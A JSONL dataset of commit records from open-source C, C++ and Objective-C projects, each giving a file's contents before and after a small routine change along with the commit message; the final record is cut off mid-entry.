{"commit":"709e6f102189171dfd6b6e9349a741f29bc00660","old_file":"xs\/APR\/OS\/APR__OS.h","new_file":"xs\/APR\/OS\/APR__OS.h","old_contents":"\/* Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nstatic MP_INLINE U32 mpxs_APR__OS_current_thread_id(pTHX)\n{\n#if APR_HAS_THREADS\n    return (U32)apr_os_thread_current();\n#else\n    return 0;\n#endif\n}\n","new_contents":"\/* Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nstatic MP_INLINE unsigned long mpxs_APR__OS_current_thread_id(pTHX)\n{\n#if APR_HAS_THREADS\n    return (unsigned long)apr_os_thread_current();\n#else\n    return 0;\n#endif\n}\n","subject":"Fix on fbsd amd64 where U32 is 4 bytes and pthread_t is 8.","message":"Fix on fbsd amd64 where U32 is 4 bytes and pthread_t is 8.\n\n xs\/APR\/OS\/APR__OS.h: In function 'mpxs_APR__OS_current_thread_id':\n xs\/APR\/OS\/APR__OS.h:20: warning: cast from pointer to integer of different size\n\nConsistently cast this to an unsigned long.\n\n\n\ngit-svn-id: b4be4a41b2a3352907de631eb6da1671a2f7b614@983068 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"Distrotech\/mod_perl,Distrotech\/mod_perl,Distrotech\/mod_perl,Distrotech\/mod_perl"}
{"commit":"6ad9eb749dcae5a1b2e3d5a3b4cd783c9c8c7224","old_file":"cqrs\/artifact_view.h","new_file":"cqrs\/artifact_view.h","old_contents":"#pragma once\n\n#include \"cqrs\/artifact.h\"\n\n\nnamespace cddd {\nnamespace cqrs {\n\ntemplate<class> class basic_artifact_view;\n\ntemplate<class DomainEventDispatcher, class DomainEventContainer>\nclass basic_artifact_view<basic_artifact<DomainEventDispatcher, DomainEventContainer>> {\npublic:\n   using id_type = typename basic_artifact<DomainEventDispatcher, DomainEventContainer>::id_type;\n   using size_type = typename basic_artifact<DomainEventDispatcher, DomainEventContainer>::size_type;\n\n   const id_type &id() const {\n      return artifact_.id();\n   }\n\n   size_type revision() const {\n      return artifact_.revision();\n   }\n\n   template<class Evt>\n   inline void apply_change(Evt &&e) {\n      using std::forward;\n      artifact_.apply_change(forward<Evt>(e));\n   }\n\nprotected:\n   explicit inline basic_artifact_view(basic_artifact<DomainEventDispatcher, DomainEventContainer> &a) :\n      artifact_{a}\n   {\n   }\n\n   template<class Fun>\n   void add_handler(Fun f) {\n      using std::move;\n      artifact_.add_handler(move(f));\n   }\n\nprivate:\n   basic_artifact<DomainEventDispatcher, DomainEventContainer> &artifact_;\n};\n\n\ntypedef basic_artifact_view<artifact> artifact_view;\n\n}\n}\n","new_contents":"#pragma once\n\n#include \"cqrs\/artifact.h\"\n\n\nnamespace cddd {\nnamespace cqrs {\n\ntemplate<class> class basic_artifact_view;\n\ntemplate<class DomainEventDispatcher, class DomainEventContainer>\nclass basic_artifact_view<basic_artifact<DomainEventDispatcher, DomainEventContainer>> {\npublic:\n   using id_type = typename basic_artifact<DomainEventDispatcher, DomainEventContainer>::id_type;\n   using size_type = typename basic_artifact<DomainEventDispatcher, DomainEventContainer>::size_type;\n\n   const id_type &id() const {\n      return artifact_.id();\n   }\n\n   size_type revision() const {\n      return artifact_.revision();\n   }\n\n   template<class Evt>\n   inline auto apply_change(Evt &&e) {\n      using std::forward;\n      return artifact_.apply_change(forward<Evt>(e));\n   }\n\nprotected:\n   explicit inline basic_artifact_view(basic_artifact<DomainEventDispatcher, DomainEventContainer> &a) :\n      artifact_{a}\n   {\n   }\n\n   template<class Fun>\n   void add_handler(Fun f) {\n      using std::move;\n      artifact_.add_handler(move(f));\n   }\n\nprivate:\n   basic_artifact<DomainEventDispatcher, DomainEventContainer> &artifact_;\n};\n\n\ntypedef basic_artifact_view<artifact> artifact_view;\n\n}\n}\n","subject":"Refactor artifact view to provide event pointer created by the artifact after applying a change","message":"Refactor artifact view to provide event pointer created by the artifact after applying a change\n","lang":"C","license":"mit","repos":"skizzay\/cddd,skizzay\/cddd"}
{"commit":"4cfc6fe9ed05af1bfc371bd78ad6945b62419e37","old_file":"test\/Sema\/i-c-e3.c","new_file":"test\/Sema\/i-c-e3.c","old_contents":"\/\/ RUN: clang %s -fsyntax-only -verify -pedantic-errors\n\nint a() {int p; *(1 ? &p : (void*)(0 && (a(),1))) = 10;} \/\/ expected-error {{null pointer expression is not an integer constant expression (but is allowed as an extension)}} \/\/ expected-note{{C does not permit evaluated commas in an integer constant expression}}\n","new_contents":"\/\/ RUN: clang %s -fsyntax-only -verify\n\nint a() {int p; *(1 ? &p : (void*)(0 && (a(),1))) = 10;}\n","subject":"Fix test. (0 && (a(),1)) is a valid I-C-E according to C99.","message":"Fix test. (0 && (a(),1)) is a valid I-C-E according to C99.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@60331 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"fa99782c1eb60ffd73915fdd8a3f801a01b79a9d","old_file":"src\/bin\/e_error.h","new_file":"src\/bin\/e_error.h","old_contents":"#ifdef E_TYPEDEFS\n\n#define e_error_message_show(args...) \\\n{ \\\n   char __tmpbuf[PATH_MAX]; \\\n \\\n   snprintf(__tmpbuf, sizeof(__tmpbuf), ##args); \\\n   e_error_message_show_internal(__tmpbuf); \\\n}\n\n#else\n#ifndef E_ERROR_H\n#define E_ERROR_H\n\nEAPI void e_error_message_show_internal(char *txt);\n  \n#endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n\n#define e_error_message_show(args...) do \\\n{ \\\n   char __tmpbuf[PATH_MAX]; \\\n \\\n   snprintf(__tmpbuf, sizeof(__tmpbuf), ##args); \\\n   e_error_message_show_internal(__tmpbuf); \\\n} while (0)\n\n#else\n#ifndef E_ERROR_H\n#define E_ERROR_H\n\nEAPI void e_error_message_show_internal(char *txt);\n  \n#endif\n#endif\n","subject":"Fix macro so it can be used as a statement","message":"e: Fix macro so it can be used as a statement\n\nShould fix devilhorn's compile error.\n\nSigned-off-by: Mike McCormack <mj.mccormack@samsung.com>\n\ngit-svn-id: 6ac5796aeae0cef97fb47bcc287d4ce899c6fa6e@61783 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"938c9e965d14e6867f165b3be3391b0c15484bf5","old_file":"src\/util\/string.h","new_file":"src\/util\/string.h","old_contents":"#ifndef UTIL_STRING_H\n#define UTIL_STRING_H\n\n#include \"util\/common.h\"\n\nchar* strndup(const char* start, size_t len);\nchar* strnrstr(const char* restrict s1, const char* restrict s2, size_t len);\n\n#endif\n","new_contents":"#ifndef UTIL_STRING_H\n#define UTIL_STRING_H\n\n#include \"util\/common.h\"\n\n#ifndef strndup\n\/\/ This is sometimes a macro\nchar* strndup(const char* start, size_t len);\n#endif\n\nchar* strnrstr(const char* restrict s1, const char* restrict s2, size_t len);\n\n#endif\n","subject":"Fix build with strndup on some platforms","message":"Util: Fix build with strndup on some platforms\n","lang":"C","license":"mpl-2.0","repos":"mgba-emu\/mgba,mgba-emu\/mgba,libretro\/mgba,nattthebear\/mgba,MerryMage\/mgba,AdmiralCurtiss\/mgba,Iniquitatis\/mgba,fr500\/mgba,libretro\/mgba,Anty-Lemon\/mgba,matthewbauer\/mgba,iracigt\/mgba,cassos\/mgba,askotx\/mgba,nattthebear\/mgba,fr500\/mgba,sergiobenrocha2\/mgba,sergiobenrocha2\/mgba,Anty-Lemon\/mgba,jeremyherbert\/mgba,MerryMage\/mgba,Touched\/mgba,fr500\/mgba,cassos\/mgba,Touched\/mgba,Iniquitatis\/mgba,AdmiralCurtiss\/mgba,iracigt\/mgba,Touched\/mgba,libretro\/mgba,zerofalcon\/mgba,sergiobenrocha2\/mgba,jeremyherbert\/mgba,Iniquitatis\/mgba,mgba-emu\/mgba,iracigt\/mgba,cassos\/mgba,fr500\/mgba,askotx\/mgba,sergiobenrocha2\/mgba,askotx\/mgba,Anty-Lemon\/mgba,sergiobenrocha2\/mgba,libretro\/mgba,jeremyherbert\/mgba,Anty-Lemon\/mgba,zerofalcon\/mgba,askotx\/mgba,Iniquitatis\/mgba,iracigt\/mgba,libretro\/mgba,bentley\/mgba,AdmiralCurtiss\/mgba,matthewbauer\/mgba,bentley\/mgba,zerofalcon\/mgba,mgba-emu\/mgba,jeremyherbert\/mgba,MerryMage\/mgba"}
{"commit":"980869bb3c0d627e6190ee90eef18b3d60d109ab","old_file":"Sources\/Ello-Bridging-Header.h","new_file":"Sources\/Ello-Bridging-Header.h","old_contents":"#import \"MBProgressHUD.h\"\n#import <SDWebImage\/UIImageView+WebCache.h>\n#import \"JTSImageViewController.h\"\n#import \"JTSImageInfo.h\"\n#import \"UITabBarController+NBUAdditions.h\"\n#import \"KINWebBrowserViewController.h\"\n#import <SSPullToRefresh\/SSPullToRefresh.h>\n#import \"SVGKit\/SVGKit.h\"\n\n","new_contents":"#import \"MBProgressHUD.h\"\n#import <SDWebImage\/UIImageView+WebCache.h>\n#import \"JTSImageViewController.h\"\n#import \"JTSImageInfo.h\"\n#import \"UITabBarController+NBUAdditions.h\"\n#import \"KINWebBrowserViewController.h\"\n#import <SSPullToRefresh\/SSPullToRefresh.h>\n#import <SVGKit\/SVGKit.h>\n","subject":"Update import statement for consistency.","message":"Update import statement for consistency.\n","lang":"C","license":"mit","repos":"ello\/ello-ios,ello\/ello-ios,ello\/ello-ios,ello\/ello-ios"}
{"commit":"b743e26e288da913ce62e96f74f73079c2f37299","old_file":"fuzz\/main.c","new_file":"fuzz\/main.c","old_contents":"#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\nint LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result res = cgltf_parse(&options, Data, Size, &data);\n\tif (res == cgltf_result_success) cgltf_free(data);\n\treturn 0;\n}\n","new_contents":"#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\nint LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result res = cgltf_parse(&options, Data, Size, &data);\n\tif (res == cgltf_result_success)\n\t{\n\t\tcgltf_validate(data);\n\t\tcgltf_free(data);\n\t}\n\treturn 0;\n}\n","subject":"Add validation to fuzz target","message":"Add validation to fuzz target\n\nThis make sure new validation code is robust by itself.\n","lang":"C","license":"mit","repos":"jkuhlmann\/cgltf,jkuhlmann\/cgltf,jkuhlmann\/cgltf"}
{"commit":"707924f97fc31d1e25e80e3e6df566dd1f7d4b02","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/** \\file common.h\n * \\brief Project-wide definitions and macros.\n *\n *\n * SCL; 2012-2015\n *\/\n\n\n#ifndef COMMON_H\n#define COMMON_H\n\n\n#define GR1C_VERSION \"0.10.2\"\n#define GR1C_COPYRIGHT \"Copyright (c) 2012-2015 by Scott C. Livingston,\\n\" \\\n\t\"California Institute of Technology\\n\\n\" \\\n\t\"This is free, open source software, released under a BSD license\\n\" \\\n\t\"and without warranty.\"\n\n\n#define GR1C_INTERACTIVE_PROMPT \">>> \"\n\n\ntypedef int vartype;\ntypedef char bool;\n#define True 1\n#define False 0\n\ntypedef unsigned char byte;\n\n\n#include \"util.h\"\n#include \"cudd.h\"\n\n#endif\n","new_contents":"\/** \\file common.h\n * \\brief Project-wide definitions and macros.\n *\n *\n * SCL; 2012-2015\n *\/\n\n\n#ifndef COMMON_H\n#define COMMON_H\n\n\n#define GR1C_VERSION \"0.10.3\"\n#define GR1C_COPYRIGHT \"Copyright (c) 2012-2015 by Scott C. Livingston,\\n\" \\\n\t\"California Institute of Technology\\n\\n\" \\\n\t\"This is free, open source software, released under a BSD license\\n\" \\\n\t\"and without warranty.\"\n\n\n#define GR1C_INTERACTIVE_PROMPT \">>> \"\n\n\ntypedef int vartype;\ntypedef char bool;\n#define True 1\n#define False 0\n\ntypedef unsigned char byte;\n\n\n#include \"util.h\"\n#include \"cudd.h\"\n\n#endif\n","subject":"Bump version in preparation for next release.","message":"Bump version in preparation for next release.\n","lang":"C","license":"bsd-3-clause","repos":"slivingston\/gr1c,slivingston\/gr1c,slivingston\/gr1c"}
{"commit":"18ef03a558c8f1786f18ee5be9f8a2648e73d608","old_file":"OctoKit\/OCTEntity.h","new_file":"OctoKit\/OCTEntity.h","old_contents":"\/\/\n\/\/  OCTEntity.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Josh Abernathy on 1\/21\/11.\n\/\/  Copyright 2011 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTObject.h\"\n\n@class OCTPlan;\n@class GHImageRequestOperation;\n\n\/\/ Represents any GitHub object which is capable of owning repositories.\n@interface OCTEntity : OCTObject\n\n\/\/ Returns `login` if no name is explicitly set.\n@property (nonatomic, copy) NSString *name;\n\n@property (nonatomic, copy) NSArray *repositories;\n@property (nonatomic, copy) NSString *email;\n@property (nonatomic, copy) NSURL *avatarURL;\n@property (nonatomic, copy) NSString *login;\n@property (nonatomic, copy) NSString *blog;\n@property (nonatomic, copy) NSString *company;\n@property (nonatomic, assign) NSUInteger collaborators;\n@property (nonatomic, assign) NSUInteger publicRepoCount;\n@property (nonatomic, assign) NSUInteger privateRepoCount;\n@property (nonatomic, assign) NSUInteger diskUsage;\n@property (nonatomic, readonly, strong) OCTPlan *plan;\n\n\/\/ TODO: Fix this to \"RemoteCounterparts\".\n- (void)mergeRepositoriesWithRemoteCountparts:(NSArray *)remoteRepositories;\n\n@end\n","new_contents":"\/\/\n\/\/  OCTEntity.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Josh Abernathy on 1\/21\/11.\n\/\/  Copyright 2011 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTObject.h\"\n\n@class OCTPlan;\n\n\/\/ Represents any GitHub object which is capable of owning repositories.\n@interface OCTEntity : OCTObject\n\n\/\/ Returns `login` if no name is explicitly set.\n@property (nonatomic, copy) NSString *name;\n\n@property (nonatomic, copy) NSArray *repositories;\n@property (nonatomic, copy) NSString *email;\n@property (nonatomic, copy) NSURL *avatarURL;\n@property (nonatomic, copy) NSString *login;\n@property (nonatomic, copy) NSString *blog;\n@property (nonatomic, copy) NSString *company;\n@property (nonatomic, assign) NSUInteger collaborators;\n@property (nonatomic, assign) NSUInteger publicRepoCount;\n@property (nonatomic, assign) NSUInteger privateRepoCount;\n@property (nonatomic, assign) NSUInteger diskUsage;\n@property (nonatomic, readonly, strong) OCTPlan *plan;\n\n\/\/ TODO: Fix this to \"RemoteCounterparts\".\n- (void)mergeRepositoriesWithRemoteCountparts:(NSArray *)remoteRepositories;\n\n@end\n","subject":"Remove old class forward declaration","message":"Remove old class forward declaration\n","lang":"C","license":"mit","repos":"daukantas\/octokit.objc,jonesgithub\/octokit.objc,Palleas\/octokit.objc,CleanShavenApps\/octokit.objc,GroundControl-Solutions\/octokit.objc,CHNLiPeng\/octokit.objc,daemonchen\/octokit.objc,Acidburn0zzz\/octokit.objc,wrcj12138aaa\/octokit.objc,daukantas\/octokit.objc,jonesgithub\/octokit.objc,xantage\/octokit.objc,yeahdongcn\/octokit.objc,1234-\/octokit.objc,leichunfeng\/octokit.objc,cnbin\/octokit.objc,daemonchen\/octokit.objc,Acidburn0zzz\/octokit.objc,CHNLiPeng\/octokit.objc,1234-\/octokit.objc,wrcj12138aaa\/octokit.objc,xantage\/octokit.objc,cnbin\/octokit.objc,leichunfeng\/octokit.objc,Palleas\/octokit.objc,phatblat\/octokit.objc,GroundControl-Solutions\/octokit.objc,phatblat\/octokit.objc"}
{"commit":"50d862bf9bdb359d71c0a13bb7dcb1cf2cd6016f","old_file":"3\/src\/e\/options.c","new_file":"3\/src\/e\/options.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\n#include \"options.h\"\n\n\nstatic Options *\n_new() {\n\tOptions *opts = (Options *)malloc(sizeof(Options));\n\tif(opts) {\n\t\tmemset(opts, 0, sizeof(Options));\n\t}\n\treturn opts;\n}\n\n\nstatic Options *\nmake(int argc, char *argv[]) {\n\tOptions *opts = _new();\n\tint i = 1;\n\n\tfor(;;) {\n\t\tif(i >= (argc - 1)) break;\n\n\t\tif(!strcmp(argv[i], \"sdbfile\")) {\n\t\t\topts->sdbFilename = argv[i+1];\n\t\t\ti = i + 2;\n\t\t} else if(!strcmp(argv[i], \"romfile\")) {\n\t\t\topts->romFilename = argv[i+1];\n\t\t\ti = i + 2;\n\t\t} else {\n\t\t\tfprintf(stderr, \"Warning: unknown option %s\\n\", argv[i]);\n\t\t\ti++;\n\t\t}\n\t}\n\n\tif (!opts->romFilename) {\n\t\topts->romFilename = \"roms\/forth\";\n\t}\n\n\treturn opts;\n}\n\n\nconst struct interface_Options module_Options = {\n\t.make = &make,\n};\n\n","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\n#include \"options.h\"\n\n\nstatic Options *\n_new() {\n\tOptions *opts = (Options *)malloc(sizeof(Options));\n\tif(opts) {\n\t\tmemset(opts, 0, sizeof(Options));\n\t}\n\treturn opts;\n}\n\n\nstatic Options *\nmake(int argc, char *argv[]) {\n\tOptions *opts = _new();\n\tint i = 1;\n\n\t\/* Defaults *\/\n\topts->romFilename = \"roms\/forth\";\n\n\t\/* Parse the command line *\/\n\tfor(;;) {\n\t\tif(i >= (argc - 1)) break;\n\n\t\tif(!strcmp(argv[i], \"sdbfile\")) {\n\t\t\topts->sdbFilename = argv[i+1];\n\t\t\ti = i + 2;\n\t\t} else if(!strcmp(argv[i], \"romfile\")) {\n\t\t\topts->romFilename = argv[i+1];\n\t\t\ti = i + 2;\n\t\t} else {\n\t\t\tfprintf(stderr, \"Warning: unknown option %s\\n\", argv[i]);\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn opts;\n}\n\n\nconst struct interface_Options module_Options = {\n\t.make = &make,\n};\n\n","subject":"Rework the command line option defaults mechanism","message":"e: Rework the command line option defaults mechanism","lang":"C","license":"mpl-2.0","repos":"KestrelComputer\/kestrel,sam-falvo\/kestrel,KestrelComputer\/kestrel,sam-falvo\/kestrel,sam-falvo\/kestrel,KestrelComputer\/kestrel,KestrelComputer\/kestrel,sam-falvo\/kestrel"}
{"commit":"8c561b7c431ca247ef15f2dd59bc0f6efb963ef6","old_file":"hello.c","new_file":"hello.c","old_contents":"#include <stdio.h>\n\nint main()\n{\n\tputs(\"Hello, people!\");\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n\nint main()\n{\n\tputs(\"Hello, people!\"); \/* Preferred over printf *\/\n\treturn 0;\n}\n","subject":"Comment the main .c file","message":"Comment the main .c file\n","lang":"C","license":"bsd-3-clause","repos":"riuri\/first,riuri\/first"}
{"commit":"387ec6864a25317ff45f9001809c4752047e2637","old_file":"src\/os\/Linux\/findself.c","new_file":"src\/os\/Linux\/findself.c","old_contents":"#define _XOPEN_SOURCE 500\n#include <unistd.h>\n#include <stdlib.h>\n\nchar *os_find_self(void)\n{\n    \/\/ PATH_MAX (used by readlink(2)) is not necessarily available\n    size_t size = 2048, used = 0;\n    char *path = NULL;\n    do {\n        size *= 2;\n        path = realloc(path, size);\n        used = readlink(\"\/proc\/self\/exe\", path, size);\n    } while (used > size && path != NULL);\n\n    return path;\n}\n\n","new_contents":"#define _XOPEN_SOURCE 500\n#include <unistd.h>\n#include <stdlib.h>\n\nchar *os_find_self(void)\n{\n    \/\/ PATH_MAX (used by readlink(2)) is not necessarily available\n    size_t size = 2048, used = 0;\n    char *path = NULL;\n    do {\n        size *= 2;\n        path = realloc(path, size);\n        used = readlink(\"\/proc\/self\/exe\", path, size);\n        path[used - 1] = '\\0';\n    } while (used >= size && path != NULL);\n\n    return path;\n}\n\n","subject":"Mend loop condition from 344aae0","message":"Mend loop condition from 344aae0\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"042453918223812fd6baaad696d65f9b1e886c9f","old_file":"src\/xvalid.c","new_file":"src\/xvalid.c","old_contents":"","new_contents":"\/**\n * Copyright (c) 2011 Jon Maken, All Rights Reserved\n * License: 3-Clause BSD\n * Revision: 07\/21\/2011 2:44:32 PM\n *\/\n#include <stdio.h>\n\nstatic void usage(void)\n{\n\tprintf(\"XVal: Validate XML documents\\n\");\n\tprintf(\"Usage: xval [--dtd DTD_FILE | --xsd XSD_FILE] XML_FILE ...\\n\\n\");\n\tprintf(\"  --dtd DTD_FILE  validate against external DTD file\\n\");\n\tprintf(\"  --xsd XSD_FILE  validate against external XSD schema file\\n\");\n}\n\nstatic int process_options(int argc, char **argv)\n{\n\tif (argc == 1) return(1);\n\n\treturn(0);\n}\n\nint main(int argc, char **argv)\n{\n\tint rv;\n\n\tif ((rv = process_options(argc, argv) != 0))\n\t{\n\t\tusage();\n\t\treturn(rv);\n\t}\n\n\t\/* cleanup function for the XML library *\/\n\t\/* xmlCleanupParser(); *\/\n\n\treturn(0);\n}\n","subject":"Add placeholder C code to finish build scripts","message":"Add placeholder C code to finish build scripts\n","lang":"C","license":"bsd-3-clause","repos":"jonforums\/xvalid,jonforums\/xvalid,jonforums\/xvalid"}
{"commit":"855718c59f77594a0911f80592875daff05d8b8c","old_file":"t_gc.h","new_file":"t_gc.h","old_contents":"\/* $Id: t_gc.h,v 1.7 2011\/09\/04 13:00:54 mit-sato Exp $ *\/\n\n#ifndef __T_GC__\n#define __T_GC__\n\n#ifdef PROF\n#\tdefine GC_INIT()\t\t0\n#\tdefine GC_MALLOC(s)\t\tmalloc(s)\n#\tdefine GC_MALLOC_ATOMIC(s)\tmalloc(s)\n#else\n#\tinclude <gc.h>\n#endif \/* PROF *\/\n\n#endif \/* __T_GC__ *\/\n","new_contents":"\/* $Id: t_gc.h,v 1.7 2011\/09\/04 13:00:54 mit-sato Exp $ *\/\n\n#ifndef __T_GC__\n#define __T_GC__\n\n#ifdef PROF\n#\tdefine GC_INIT()\t\t\t\t\t0\n#\tdefine GC_MALLOC(s)\t\t\t\t\tmalloc(s)\n#\tdefine GC_MALLOC_ATOMIC(s)\t\t\t\tmalloc(s)\n#\tdefine GC_register_finalizer_ignore_self(o,f,c,x,y)\t0\n#\tdefine GC_add_roots(s,e)\t\t\t\t0\n#else\n#\tinclude <gc.h>\n#endif \/* PROF *\/\n\n#endif \/* __T_GC__ *\/\n","subject":"Add dummy macro GC_register_finalizer_ignore_self and GC_add_roots.","message":"Add dummy macro GC_register_finalizer_ignore_self and GC_add_roots.\n","lang":"C","license":"mit","repos":"mitchan0321\/perfume,mitchan0321\/perfume,mitchan0321\/perfume,mitchan0321\/perfume,mitchan0321\/perfume"}
{"commit":"f8f7140dcb8c109ad0571b0c6c0f46c464c2ddad","old_file":"mParticle-Apple-SDK\/Kits\/MPKitAPI.h","new_file":"mParticle-Apple-SDK\/Kits\/MPKitAPI.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@class MPAttributionResult;\n@class FilteredMParticleUser;\n@protocol MPKitProtocol;\n\n@interface MPKitAPI : NSObject\n\n- (void)logError:(NSString *_Nullable)format, ...;\n- (void)logWarning:(NSString *_Nullable)format, ...;\n- (void)logDebug:(NSString *_Nullable)format, ...;\n- (void)logVerbose:(NSString *_Nullable)format, ...;\n\n- (NSDictionary<NSString *, NSString *> *_Nullable)integrationAttributes;\n- (void)onAttributionCompleteWithResult:(MPAttributionResult *_Nonnull)result error:(NSError *_Nullable)error;\n\n- (FilteredMParticleUser *_Nonnull)getCurrentUserWithKit:(id<MPKitProtocol> _Nonnull)kit;\n- (nullable NSNumber *)incrementUserAttribute:(NSString *_Nonnull)key byValue:(NSNumber *_Nonnull)value forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserAttribute:(NSString *_Nonnull)key value:(id _Nonnull)value forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserAttributeList:(NSString *_Nonnull)key values:(NSArray<NSString *> * _Nonnull)values forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserTag:(NSString *_Nonnull)tag forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)removeUserAttribute:(NSString *_Nonnull)key forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n@class MPAttributionResult;\n@class FilteredMParticleUser;\n@protocol MPKitProtocol;\n\n@interface MPKitAPI : NSObject\n\n- (void)logError:(NSString *_Nullable)format, ...;\n- (void)logWarning:(NSString *_Nullable)format, ...;\n- (void)logDebug:(NSString *_Nullable)format, ...;\n- (void)logVerbose:(NSString *_Nullable)format, ...;\n\n- (NSDictionary<NSString *, NSString *> *_Nullable)integrationAttributes;\n- (void)onAttributionCompleteWithResult:(MPAttributionResult *_Nullable)result error:(NSError *_Nullable)error;\n\n- (FilteredMParticleUser *_Nonnull)getCurrentUserWithKit:(id<MPKitProtocol> _Nonnull)kit;\n- (nullable NSNumber *)incrementUserAttribute:(NSString *_Nonnull)key byValue:(NSNumber *_Nonnull)value forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserAttribute:(NSString *_Nonnull)key value:(id _Nonnull)value forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserAttributeList:(NSString *_Nonnull)key values:(NSArray<NSString *> * _Nonnull)values forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)setUserTag:(NSString *_Nonnull)tag forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n- (void)removeUserAttribute:(NSString *_Nonnull)key forUser:(FilteredMParticleUser *_Nonnull)filteredUser;\n\n\n@end\n","subject":"Allow nil result in kit api attribution method","message":"Allow nil result in kit api attribution method\n\nCloses #66.\n","lang":"C","license":"apache-2.0","repos":"mParticle\/mParticle-iOS-SDK,mParticle\/mParticle-iOS-SDK,mParticle\/mparticle-apple-sdk,mParticle\/mparticle-apple-sdk,mParticle\/mparticle-apple-sdk,mParticle\/mparticle-apple-sdk,mParticle\/mparticle-apple-sdk,mParticle\/mParticle-iOS-SDK,mParticle\/mparticle-apple-sdk"}
{"commit":"ac6d2c574d393bfbf1dcc1250c730550cd8c4150","old_file":"src\/augs\/misc\/time_utils.h","new_file":"src\/augs\/misc\/time_utils.h","old_contents":"#pragma once\n#include <ctime>\n#include <string>\n#include <chrono>\n#include \"augs\/filesystem\/file_time_type.h\"\n\nnamespace augs {\n\tstruct date_time {\n\t\t\/\/ GEN INTROSPECTOR struct augs::timestamp\n\t\tstd::time_t t;\n\t\t\/\/ END GEN INTROSPECTOR\n\n\t\tdate_time();\n\t\tdate_time(const std::time_t& t) : t(t) {}\n\t\tdate_time(const std::chrono::system_clock::time_point&);\n#if !PLATFORM_WINDOWS\n\t\tdate_time(const file_time_type&);\n#endif\n\n\t\toperator std::time_t() const {\n\t\t\treturn t;\n\t\t}\n\n\t\tstd::string get_stamp() const;\n\t\tstd::string get_readable() const;\n\n\t\tunsigned long long seconds_ago() const;\n\t\tstd::string how_long_ago() const;\n\t\tstd::string how_long_ago_tell_seconds() const;\n\n\tprivate:\n\t\tstd::string how_long_ago(bool) const;\n\t};\n}","new_contents":"#pragma once\n#include <ctime>\n#include <string>\n#include <chrono>\n#include \"augs\/filesystem\/file_time_type.h\"\n\nnamespace augs {\n\tstruct date_time {\n\t\t\/\/ GEN INTROSPECTOR struct augs::timestamp\n\t\tstd::time_t t;\n\t\t\/\/ END GEN INTROSPECTOR\n\n\t\tdate_time();\n\t\tdate_time(const std::time_t& t) : t(t) {}\n\t\tdate_time(const std::chrono::system_clock::time_point&);\n\t\tdate_time(const file_time_type&);\n\n\t\toperator std::time_t() const {\n\t\t\treturn t;\n\t\t}\n\n\t\tstd::string get_stamp() const;\n\t\tstd::string get_readable() const;\n\n\t\tunsigned long long seconds_ago() const;\n\t\tstd::string how_long_ago() const;\n\t\tstd::string how_long_ago_tell_seconds() const;\n\n\tprivate:\n\t\tstd::string how_long_ago(bool) const;\n\t};\n}","subject":"Build error fix for Windows","message":"Build error fix for 